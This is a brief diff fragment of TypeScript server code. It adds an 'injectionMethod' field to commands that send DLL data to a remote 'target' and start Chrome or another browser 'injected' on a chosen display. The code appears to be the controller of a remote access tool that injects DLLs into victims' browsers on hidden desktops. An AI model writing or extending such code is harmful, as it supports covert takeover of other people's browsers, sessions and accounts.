dll: dllData, dll: dllData,
display: state.display ?? 0, display: state.display ?? 0,
injectionMethod: String(payload.injectionMethod || ""),
}; };
sendbackstageCommand(target, "backstage_start_chrome_injected", chromeCmdPayload); sendbackstageCommand(target, "backstage_start_chrome_injected", chromeCmdPayload);
break; break;
@@ -1439,6 +1441,7 @@ export function handlebackstageViewerMessage(ws: ServerWebSocket<SocketData>, ra
killIfRunning: payload.killIfRunning === true, killIfRunning: payload.killIfRunning === true,
dll: dllData, dll: dllData,
display: state.display ?? 0, display: state.display ?? 0,
injectionMethod: String(payload.injectionMethod || ""),
}; };
sendbackstageCommand(target, "backstage_start_browser_injected", browserCmdPayload); sendbackstageCommand(target, "backstage_start_browser_injected", browserCmdPayload);
break; break;